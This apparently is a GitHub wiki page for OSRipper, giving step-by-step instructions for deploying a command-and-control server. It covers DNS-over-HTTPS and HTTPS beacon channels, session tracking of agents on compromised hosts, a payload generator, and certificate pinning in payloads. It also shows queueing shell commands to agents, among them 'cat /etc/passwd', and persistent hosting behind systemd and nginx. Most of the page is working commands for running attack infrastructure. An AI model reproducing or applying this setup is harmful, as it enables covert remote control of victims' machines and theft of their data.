-
Notifications
You must be signed in to change notification settings - Fork 54
C2 Server Guide
noah edited this page Nov 15, 2025
·
1 revision
Complete guide to setting up and managing the OSRipper C2 server for command & control operations.
The OSRipper C2 server provides:
- DoH Handler - Processes DNS-over-HTTPS queries
- HTTPS Beacon - Handles HTTPS-based agent communication
- Web UI - Browser-based interface for session management
- Session Management - Database-backed session tracking
- Command Queueing - Queue commands for offline agents
# Start C2 server
python -m osripper.c2.server example.com
# Server starts on http://0.0.0.0:5000
# Web UI: http://localhost:5000
# DoH endpoint: http://localhost:5000/dns-query# Start with HTTPS (auto-generates certificate)
python -m osripper.c2.server example.com --https
# Server starts on https://0.0.0.0:5000
# Web UI: https://localhost:5000python -m osripper.c2.server <domain> [options]Required:
-
domain- C2 domain name (e.g.,example.com)
Optional:
-
--host- Server host (default:0.0.0.0) -
--port- Server port (default:5000) -
--db- Database path (default:c2_sessions.db) -
--https- Enable HTTPS with self-signed certificate -
--cert- Path to certificate file (for HTTPS) -
--key- Path to private key file (for HTTPS) -
--debug- Enable Flask debug mode
# Basic server
python -m osripper.c2.server example.com
# Custom port
python -m osripper.c2.server example.com --port 8080
# Custom host
python -m osripper.c2.server example.com --host 127.0.0.1
# HTTPS with auto-generated certificate
python -m osripper.c2.server example.com --https
# HTTPS with custom certificate
python -m osripper.c2.server example.com \
--https \
--cert server.crt \
--key server.key
# Custom database location
python -m osripper.c2.server example.com --db /path/to/sessions.db
# Debug mode
python -m osripper.c2.server example.com --debugThe server can automatically generate a self-signed certificate:
python -m osripper.c2.server example.com --httpsCertificate Files:
-
c2_server.crt- Certificate file -
c2_server.key- Private key file
Get Fingerprint:
curl http://localhost:5000/api/cert-fingerprintGenerate Certificate:
# Generate self-signed certificate
openssl req -x509 -newkey rsa:4096 \
-keyout server.key \
-out server.crt \
-days 365 \
-nodes \
-subj "/CN=example.com"
# Start server with custom certificate
python -m osripper.c2.server example.com \
--https \
--cert server.crt \
--key server.keyLet's Encrypt Certificate:
# Install certbot
sudo apt install certbot
# Obtain certificate
sudo certbot certonly --standalone -d example.com
# Use Let's Encrypt certificates
python -m osripper.c2.server example.com \
--https \
--cert /etc/letsencrypt/live/example.com/fullchain.pem \
--key /etc/letsencrypt/live/example.com/privkey.pemFor DoH C2 to work, configure DNS records:
A Record:
example.com A YOUR_SERVER_IP
Subdomain (Optional):
c2.example.com A YOUR_SERVER_IP
If behind NAT/firewall:
- Forward port 5000 (or custom port) to server
- Ensure firewall allows incoming connections
# Test DNS resolution
nslookup example.com
# Test DoH endpoint
curl "https://example.com/dns-query?name=test.example.com&type=TXT"- Flask Application - Web server and API
- DoH Handler - Processes DNS-over-HTTPS queries
- Session Manager - Database-backed session tracking
- Command Queue - Stores commands for agents
- Web UI - Browser-based interface
DoH:
-
GET /dns-query- DNS-over-HTTPS query endpoint
HTTPS Beacon:
-
POST /api/beacon- Agent beacon endpoint -
POST /api/response- Agent response endpoint
Web UI:
-
GET /- Dashboard -
GET /session/<id>- Session details -
GET /generate- Payload generator
API:
-
GET /api/sessions- List all sessions -
GET /api/session/<id>- Get session details -
DELETE /api/session/<id>- Delete session -
POST /api/session/<id>/command- Send command -
GET /api/session/<id>/history- Get command history
Sessions are stored in SQLite database (c2_sessions.db by default).
Tables:
-
sessions- Active sessions -
command_history- Command execution history
- Creation - Agent first connects, session created
- Active - Agent regularly checks in
- Command Queue - Commands queued for agent
- Response - Agent sends command response
- Deletion - Session deleted (manual or automatic)
Via Web UI:
- View all sessions on dashboard
- Click session to view details
- Execute commands via terminal
- Delete session via button
Via API:
# List sessions
curl http://localhost:5000/api/sessions
# Get session details
curl http://localhost:5000/api/session/SESSION_ID
# Delete session
curl -X DELETE http://localhost:5000/api/session/SESSION_ID
# Send command
curl -X POST http://localhost:5000/api/session/SESSION_ID/command \
-H "Content-Type: application/json" \
-d '{"command": "whoami"}'- Command Sent - Command queued in database
- Agent Beacons - Agent periodically checks for commands
- Command Retrieved - Agent receives queued command
- Execution - Agent executes command
- Response - Agent sends response back
- History Updated - Response saved to history
Commands are plain text strings:
whoami
ls -la
cat /etc/passwd
python3 -c "print('test')"-
__TERMINATE__- Terminates agent and deletes session -
exit- Stops agent execution -
ping- Heartbeat check (returnspong)
Create /etc/systemd/system/osripper-c2.service:
[Unit]
Description=OSRipper C2 Server
After=network.target
[Service]
Type=simple
User=osripper
WorkingDirectory=/opt/osripper
ExecStart=/usr/bin/python3 -m osripper.c2.server example.com --https
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.targetEnable and Start:
sudo systemctl enable osripper-c2
sudo systemctl start osripper-c2
sudo systemctl status osripper-c2Nginx Configuration:
server {
listen 80;
server_name example.com;
location / {
proxy_pass http://127.0.0.1:5000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}# Allow HTTP
sudo ufw allow 80/tcp
# Allow HTTPS
sudo ufw allow 443/tcp
# Allow C2 port (if exposed directly)
sudo ufw allow 5000/tcpServer logs to stdout/stderr:
# View logs
python -m osripper.c2.server example.com 2>&1 | tee server.log
# With systemd
sudo journalctl -u osripper-c2 -f# View sessions
sqlite3 c2_sessions.db "SELECT * FROM sessions;"
# View command history
sqlite3 c2_sessions.db "SELECT * FROM command_history ORDER BY timestamp DESC LIMIT 10;"
# Count active sessions
sqlite3 c2_sessions.db "SELECT COUNT(*) FROM sessions;"- Check if port is in use:
netstat -tulpn | grep 5000 - Verify Python version:
python3 --version - Check dependencies:
pip3 list | grep flask - Review error messages in console
- Verify DNS resolution:
nslookup example.com - Check firewall rules
- Verify server is accessible
- Review agent logs
- Check DoH endpoint:
curl "https://example.com/dns-query?name=test&type=TXT"
- Verify session is active (check last_seen)
- Check command queue in database
- Review agent polling interval
- Verify command format
- Verify certificate files exist
- Check certificate permissions
- Test certificate:
openssl x509 -in server.crt -text -noout - Verify fingerprint matches payload
- Use HTTPS - Always use HTTPS in production
- Certificate Pinning - Use certificate pinning in payloads
- Access Control - Restrict server access via firewall
- Regular Updates - Keep dependencies updated
- Database Backups - Regularly backup session database
- Logging - Monitor server logs for suspicious activity
- Run server as non-root user
- Use reverse proxy (Nginx/Apache)
- Enable firewall rules
- Use strong certificates
- Implement rate limiting (future feature)
- Add authentication (future feature)
For more information, see the Web UI Guide and Troubleshooting pages.